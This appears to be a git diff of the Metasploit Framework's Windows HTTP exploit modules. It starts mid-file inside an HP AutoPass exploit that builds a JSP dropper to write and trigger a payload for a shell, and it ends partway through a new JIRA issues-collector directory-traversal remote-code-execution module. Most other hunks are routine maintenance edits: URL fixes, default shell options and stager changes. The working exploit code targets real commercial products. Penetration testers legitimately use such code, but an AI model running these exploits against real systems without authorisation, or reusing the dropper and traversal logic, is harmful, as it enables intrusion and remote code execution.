Attempting to launch payload in deployed WAR...") + res = send_request_cgi( + { + 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8) + ".jsp"), + 'method' => 'GET' + }) + # Failure. The request timed out or the server went away. + break if res.nil? + # Success! Triggered the payload, should have a shell incoming + break if res.code == 200 + end + end + + def webapps_traversal + if datastore['WEBAPPS_DEPTH'] > 0 + depth = datastore['WEBAPPS_DEPTH'] + elsif target['WebappsDepth'] + depth = target['WebappsDepth'] + else + depth = 1 + end + + "../" * depth + end + + def install_traversal + if datastore['INSTALL_DEPTH'] > 0 + depth = datastore['INSTALL_DEPTH'] + elsif target['InstallDepth'] + depth = target['InstallDepth'] + else + depth = 4 + end + + "/.." * depth + end + + def install_folder + if !datastore['INSTALL_FOLDER'].blank? + folder = datastore['INSTALL_FOLDER'] + elsif target['InstallFolder'] + folder = target['InstallFolder'] + else + folder = "/HP AutoPass License Server/HP AutoPass License Server" + end + + folder + end + + # Using a JSP dropper because the vulnerability doesn't allow to upload + # 'binary' files, so a WAR can't be uploaded directly. + def jsp_drop_bin(bin_data, output_file) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| + + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| + + jspraw << %Q|int numbytes = data.length();\n| + + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| + jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| + jspraw << %Q|{\n| + jspraw << %Q| char char1 = (char) data.charAt(counter);\n| + jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| + jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| + jspraw << %Q| comb <<= 4;\n| + jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| + jspraw << %Q| bytes[counter/2] = (byte)comb;\n| + jspraw << %Q|}\n| + + jspraw << %Q|outputstream.write(bytes);\n| + jspraw << %Q|outputstream.close();\n| + jspraw << %Q|%>\n| + + jspraw + end + + def upload_file(file_name, contents) + post_data = Rex::MIME::Message.new + post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadedFile\"; filename=\"#{file_name}\"") + + data = post_data.to_s + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path.to_s, "cs","pdfupload"), + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + res + end + +end diff --git a/modules/exploits/windows/http/hp_imc_bims_upload.rb b/modules/exploits/windows/http/hp_imc_bims_upload.rb index 334185a104..8a17371a60 100644 --- a/modules/exploits/windows/http/hp_imc_bims_upload.rb +++ b/modules/exploits/windows/http/hp_imc_bims_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -40,6 +40,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_JAVA, + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'Targets' => [ [ 'HP Intelligent Management Center 5.1 E0202 - 5.2 E0401 / BIMS 5.1 E0201 - 5.2 E0401 / Windows', { } ] diff --git a/modules/exploits/windows/http/hp_imc_mibfileupload.rb b/modules/exploits/windows/http/hp_imc_mibfileupload.rb index 8f79d805b8..e468efc285 100644 --- a/modules/exploits/windows/http/hp_imc_mibfileupload.rb +++ b/modules/exploits/windows/http/hp_imc_mibfileupload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -40,6 +40,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_JAVA, + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'Targets' => [ [ 'HP Intelligent Management Center 5.1 E0202 / Windows', { } ] diff --git a/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb b/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb index 45369d96d4..c9fdac58ba 100644 --- a/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb +++ b/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -41,6 +41,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_JAVA, + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'Targets' => [ [ 'HP LoadRunner 11.52', { } ], diff --git a/modules/exploits/windows/http/hp_mpa_job_acct.rb b/modules/exploits/windows/http/hp_mpa_job_acct.rb index 328958edbb..4c5df23135 100644 --- a/modules/exploits/windows/http/hp_mpa_job_acct.rb +++ b/modules/exploits/windows/http/hp_mpa_job_acct.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb b/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb index 5e53dd931f..4662a10c1d 100644 --- a/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb +++ b/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb b/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb index ca0a81c5d3..acc7ebc703 100644 --- a/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb +++ b/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb b/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb index 22cd5f9132..87bf5d4ac7 100644 --- a/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb +++ b/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb index 92a52a0922..882ea4523a 100644 --- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb +++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb index 24cb1da3df..17dc37c388 100644 --- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb +++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_nnm_openview5.rb b/modules/exploits/windows/http/hp_nnm_openview5.rb index cc40d76561..303a6aa930 100644 --- a/modules/exploits/windows/http/hp_nnm_openview5.rb +++ b/modules/exploits/windows/http/hp_nnm_openview5.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb b/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb index 96f1cb3d2a..c292f784e3 100644 --- a/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb +++ b/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -83,9 +83,14 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Trying target #{target.name}...") send_request_cgi({ - 'uri' => "/OvCgi/ovalarm.exe?OVABverbose=1", + 'uri' => '/OvCgi/ovalarm.exe', 'method' => "GET", - 'headers' => { 'Accept-Language' => sploit } + 'headers' => { + 'Accept-Language' => sploit + }, + 'vars_get' => { + 'OVABverbose' => '1' + } }, 3) handler diff --git a/modules/exploits/windows/http/hp_nnm_ovas.rb b/modules/exploits/windows/http/hp_nnm_ovas.rb index 86e4ba4890..c0c7a84d27 100644 --- a/modules/exploits/windows/http/hp_nnm_ovas.rb +++ b/modules/exploits/windows/http/hp_nnm_ovas.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb index 45dbf51476..d603e75f8b 100644 --- a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb +++ b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote # Use the system path for executable to run except the wordpad if client.sys.config.sysinfo["OS"] =~ /Windows XP/ - windir = client.fs.file.expand_path("%ProgramFiles%") + windir = client.sys.config.getenv('ProgramFiles') cmd="#{windir}\\Windows NT\\Accessories\\wordpad.exe" else # Windows 2000 cmd = "notepad.exe" @@ -237,7 +237,7 @@ class Metasploit3 < Msf::Exploit::Remote print_error("Eek! We weren't expecting a response, but we got one") if datastore['DEBUG'] print_line() - print_error(res.inspect) + print_error(res.to_s) end end diff --git a/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb b/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb index 3956923c13..f546994531 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb index 9bd63e0368..7ea36e37cc 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb index 9daabfee8d..e653bcf3c1 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb index c08152ab9d..a994632a33 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -131,7 +131,7 @@ class Metasploit3 < Msf::Exploit::Remote if res and res.code != 502 print_error("Eek! We weren't expecting a response, but we got one") - print_status(res.inspect) if datastore['NNM_DEBUG'] + print_status(res.to_s) if datastore['NNM_DEBUG'] end handler diff --git a/modules/exploits/windows/http/hp_nnm_snmp.rb b/modules/exploits/windows/http/hp_nnm_snmp.rb index 4eb2b9eb40..d2c98ea6ba 100644 --- a/modules/exploits/windows/http/hp_nnm_snmp.rb +++ b/modules/exploits/windows/http/hp_nnm_snmp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb b/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb index db806283fb..18fbdce2b0 100644 --- a/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb +++ b/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -162,7 +162,7 @@ class Metasploit3 < Msf::Exploit::Remote if res and res.code != 502 print_error("Eek! We weren't expecting a response, but we got one") - print_status(res.inspect) if datastore['NNM_DEBUG'] + print_status(res.to_s) if datastore['NNM_DEBUG'] end handler diff --git a/modules/exploits/windows/http/hp_nnm_toolbar_01.rb b/modules/exploits/windows/http/hp_nnm_toolbar_01.rb index c0955e770e..e233bfd79b 100644 --- a/modules/exploits/windows/http/hp_nnm_toolbar_01.rb +++ b/modules/exploits/windows/http/hp_nnm_toolbar_01.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_nnm_toolbar_02.rb b/modules/exploits/windows/http/hp_nnm_toolbar_02.rb index 53c3411cff..75609ae473 100644 --- a/modules/exploits/windows/http/hp_nnm_toolbar_02.rb +++ b/modules/exploits/windows/http/hp_nnm_toolbar_02.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb index 7c8b831072..eaeee505f4 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote print_error("Eek! We weren't expecting a response, but we got one") if datastore['DEBUG'] print_error('') - print_error(res.inspect) + print_error(res.to_s) end end diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb index 8beb6f167e..bb190f583a 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote print_error("Eek! We weren't expecting a response, but we got one") if datastore['DEBUG'] print_error('') - print_error(res.inspect) + print_error(res.to_s) end end diff --git a/modules/exploits/windows/http/hp_openview_insight_backdoor.rb b/modules/exploits/windows/http/hp_openview_insight_backdoor.rb index 48776c9ff8..691934ac8e 100644 --- a/modules/exploits/windows/http/hp_openview_insight_backdoor.rb +++ b/modules/exploits/windows/http/hp_openview_insight_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -44,6 +44,10 @@ class Metasploit3 < Msf::Exploit::Remote } ], ], + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 31 2011')) diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb index 8576f61af7..6e917aeea4 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,6 +38,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_JAVA, + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'Targets' => [ [ 'HP ProCurve Manager 4.0 SNAC Server', {} ] diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb index 9760eb874e..41c2e3d4d9 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,6 +38,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_JAVA, + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'Targets' => [ [ 'HP ProCurve Manager 4.0 SNAC Server', {} ] diff --git a/modules/exploits/windows/http/hp_power_manager_filename.rb b/modules/exploits/windows/http/hp_power_manager_filename.rb index eade215fc9..db9a37d637 100644 --- a/modules/exploits/windows/http/hp_power_manager_filename.rb +++ b/modules/exploits/windows/http/hp_power_manager_filename.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_power_manager_login.rb b/modules/exploits/windows/http/hp_power_manager_login.rb index 5e35f24acd..3215be533a 100644 --- a/modules/exploits/windows/http/hp_power_manager_login.rb +++ b/modules/exploits/windows/http/hp_power_manager_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb index 8874861052..61734310a5 100644 --- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => 'vbs', 'Targets' => [ [ 'HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2', {} ] @@ -49,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DefaultOptions' => { - 'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") + 'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") }, 'DisclosureDate' => 'Jul 29 2013')) diff --git a/modules/exploits/windows/http/httpdx_handlepeer.rb b/modules/exploits/windows/http/httpdx_handlepeer.rb index 157598b3e9..d6802c853e 100644 --- a/modules/exploits/windows/http/httpdx_handlepeer.rb +++ b/modules/exploits/windows/http/httpdx_handlepeer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/httpdx_tolog_format.rb b/modules/exploits/windows/http/httpdx_tolog_format.rb index 5569903845..bb0bf66cdc 100644 --- a/modules/exploits/windows/http/httpdx_tolog_format.rb +++ b/modules/exploits/windows/http/httpdx_tolog_format.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/ia_webmail.rb b/modules/exploits/windows/http/ia_webmail.rb index ce32f025cd..d20b2d65ea 100644 --- a/modules/exploits/windows/http/ia_webmail.rb +++ b/modules/exploits/windows/http/ia_webmail.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb b/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb index 8c1b1fbb00..7ce4a44b51 100644 --- a/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb +++ b/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb b/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb index 5f0a4c8e3b..fba7ae256a 100644 --- a/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb +++ b/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/ibm_tsm_cad_header.rb b/modules/exploits/windows/http/ibm_tsm_cad_header.rb index fa138da21b..b7e738d5b4 100644 --- a/modules/exploits/windows/http/ibm_tsm_cad_header.rb +++ b/modules/exploits/windows/http/ibm_tsm_cad_header.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/icecast_header.rb b/modules/exploits/windows/http/icecast_header.rb index dea3fccae3..eab3afafdd 100644 --- a/modules/exploits/windows/http/icecast_header.rb +++ b/modules/exploits/windows/http/icecast_header.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,23 +12,20 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Icecast (<= 2.0.1) Header Overwrite (win32)', + 'Name' => 'Icecast Header Overwrite', 'Description' => %q{ - This module exploits a buffer overflow in the header parsing - of icecast, discovered by Luigi Auriemma. Sending 32 HTTP - headers will cause a write one past the end of a pointer - array. On win32 this happens to overwrite the saved - instruction pointer, and on linux (depending on compiler, - etc) this seems to generally overwrite nothing crucial (read - not exploitable). - - !! This exploit uses ExitThread(), this will leave icecast - thinking the thread is still in use, and the thread counter - won't be decremented. This means for each time your payload - exits, the counter will be left incremented, and eventually - the threadpool limit will be maxed. So you can multihit, - but only till you fill the threadpool. + This module exploits a buffer overflow in the header parsing of icecast + versions 2.0.1 and earlier, discovered by Luigi Auriemma. Sending 32 + HTTP headers will cause a write one past the end of a pointer array. On + win32 this happens to overwrite the saved instruction pointer, and on + linux (depending on compiler, etc) this seems to generally overwrite + nothing crucial (read not exploitable). + This exploit uses ExitThread(), this will leave icecast thinking the + thread is still in use, and the thread counter won't be decremented. + This means for each time your payload exits, the counter will be left + incremented, and eventually the threadpool limit will be maxed. So you + can multihit, but only till you fill the threadpool. }, 'Author' => [ 'spoonm', 'Luigi Auriemma ' ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/windows/http/integard_password_bof.rb b/modules/exploits/windows/http/integard_password_bof.rb index 5898f74a2e..1b8962d096 100644 --- a/modules/exploits/windows/http/integard_password_bof.rb +++ b/modules/exploits/windows/http/integard_password_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/intersystems_cache.rb b/modules/exploits/windows/http/intersystems_cache.rb index cb161e5705..6cec7edfd1 100644 --- a/modules/exploits/windows/http/intersystems_cache.rb +++ b/modules/exploits/windows/http/intersystems_cache.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index c7bb9bd174..696c54499b 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb b/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb index b786e924f3..c5ce138480 100644 --- a/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb +++ b/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/jira_collector_traversal.rb b/modules/exploits/windows/http/jira_collector_traversal.rb new file mode 100644 index 0000000000..de50318045 --- /dev/null +++ b/modules/exploits/windows/http/jira_collector_traversal.rb @@ -0,0 +1,209 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'JIRA Issues Collector Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal flaw in JIRA 6.0.3. The vulnerability exists + in the issues collector code, while handling attachments provided by the user. It can be + exploited in Windows environments to get remote code execution. This module has been tested + successfully on JIRA 6.0.3 with Windows 2003 SP2 Server. + }, + 'Author' => + [ + 'Philippe Arteau', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-2314'], + [ 'OSVDB', '103807' ], + [ 'BID', '65849' ], + [ 'URL', 'https://confluence.atlassian.com/display/JIRA/JIRA+Security+Advisory+2014-02-26' ], + [ 'URL', 'http://blog.h3xstream.com/2014/02/jira-path-traversal-explained.html' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Jira 6.0.3 / Windows 2003 SP2', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Feb 26 2014')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, 'Path to JIRA', '/']), + OptInt.new('COLLECTOR', [true, 'Collector ID']) + ], self.class) + + register_advanced_options( + [ + # By default C:\Program Files\Atlassian\JIRA\atlassian-jira\QhVRutsh.jsp + OptString.new('JIRA_PATH', [true, 'Path to the JIRA web folder from the Atlassian installation directory', "JIRA\\atlassian-jira"]), + # By default file written to C:\Program Files\Atlassian\Application Data\JIRA\caches\tmp_attachments\$random_\, we want to traversal until 'Atlassian' + OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 6]) + ], self.class) + end + + def get_upload_token + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "rest", "collectors", "1.0", "tempattachment", datastore['COLLECTOR']), + 'method' => 'POST', 